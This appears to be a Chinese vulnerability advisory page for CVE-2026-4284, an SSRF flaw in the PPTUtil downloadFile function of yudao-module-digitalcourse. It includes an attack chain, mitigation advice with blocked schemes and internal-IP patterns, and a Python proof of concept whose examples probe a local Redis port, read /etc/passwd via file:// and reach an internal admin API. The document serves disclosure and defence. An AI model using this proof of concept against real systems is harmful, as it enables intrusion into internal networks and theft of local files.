IPBUF安全漏洞报告
English
CVE-2026-4284 CVSS 4.7 中危

CVE-2026-4284 yudao-module-digitalcourse PPTUtil downloadFile SSRF漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4284
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
yudao-module-digitalcourse (yudao-module-digitalcourse-biz)

相关标签

CVE-2026-4284SSRF服务器端请求伪造yudao-module-digitalcoursePPTUtilRuoYi-Vue中危漏洞文件处理漏洞

漏洞概述

CVE-2026-4284是存在于yudao-module-digitalcourse模块中的一个服务器端请求伪造(SSRF)漏洞。该漏洞存在于PPTUtil.java文件的downloadFile函数中,攻击者可以通过构造恶意的URL参数,诱导服务器向任意内部或外部资源发起请求。由于该漏洞需要高权限用户才能利用(PR:H),但可以通过网络远程发起攻击(AV:N),因此CVSS评分为4.7(中危)。攻击者可能利用此漏洞访问内网资源、扫描内部服务或进行进一步的攻击。该漏洞已在互联网上公开披露,厂商在收到通知后未做出任何回应,产品使用滚动发布模式(rolling release),因此没有明确的版本修复信息。

技术细节

该漏洞位于yudao-module-digitalcourse-biz模块的PPTUtil.java文件中的downloadFile函数。漏洞根源在于该函数对用户传入的url参数缺乏有效的验证和过滤。攻击者可以通过构造包含内网IP(如127.0.0.1、10.x.x.x、192.168.x.x)或恶意URL的请求,让服务器代为发起请求。这允许攻击者:1)探测内网服务端口;2)访问内部API接口;3)读取本地文件(通过file://协议);4)攻击内网其他服务。由于PPT文件处理功能通常需要处理外部资源下载,这种设计使得SSRF漏洞更容易被触发。攻击者无需特殊用户交互(UI:N)即可发起攻击,但需要拥有高权限账户(PR:H)。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的高权限账户(PR:H要求)
STEP 2
步骤2
攻击者构造包含恶意URL的请求,目标是PPTUtil.downloadFile函数
STEP 3
步骤3
服务器接收到url参数后,未经安全验证直接发起HTTP请求
STEP 4
步骤4
攻击者通过响应时间或内容差异判断内网服务状态或获取敏感数据
STEP 5
步骤5
利用SSRF探测结果,进一步发起内网攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-4284 SSRF PoC # Target: yudao-module-digitalcourse PPTUtil downloadFile # Note: Requires high privilege access def exploit_ssrf(target_url, attacker_controlled_url): """ Exploit SSRF vulnerability in PPTUtil.downloadFile Args: target_url: Base URL of vulnerable yudao service attacker_controlled_url: URL to be requested by server (internal IP, file://, etc.) """ endpoint = f"{target_url}/digitalcourse/ppt/downloadFile" payload = { "url": attacker_controlled_url } try: response = requests.post(endpoint, data=payload, timeout=10) return { "status_code": response.status_code, "response": response.text[:500] } except requests.RequestException as e: return {"error": str(e)} # Example usage: # Scan internal port (SSRF to internal service) # result = exploit_ssrf("http://target.com", "http://127.0.0.1:6379/") # Read local file # result = exploit_ssrf("http://target.com", "file:///etc/passwd") # Probe internal API # result = exploit_ssrf("http://target.com", "http://10.0.0.1:8080/admin/api")

影响范围

yudao-module-digitalcourse <= 8f87936ac774065b92fb20aab55b274a6ea76433

防御指南

临时缓解措施
临时缓解措施:在应用层防火墙(WAF)中添加针对URL参数的过滤规则,拦截包含内网IP(如127.0.0.1、10.x.x.x、192.168.x.x)、localhost或危险协议(file://、dict://、gopher://)的请求。同时限制高权限账户的网络访问范围,监控异常请求日志。由于该产品使用滚动发布模式,建议联系厂商获取明确的安全版本或考虑暂时禁用PPT文件下载功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表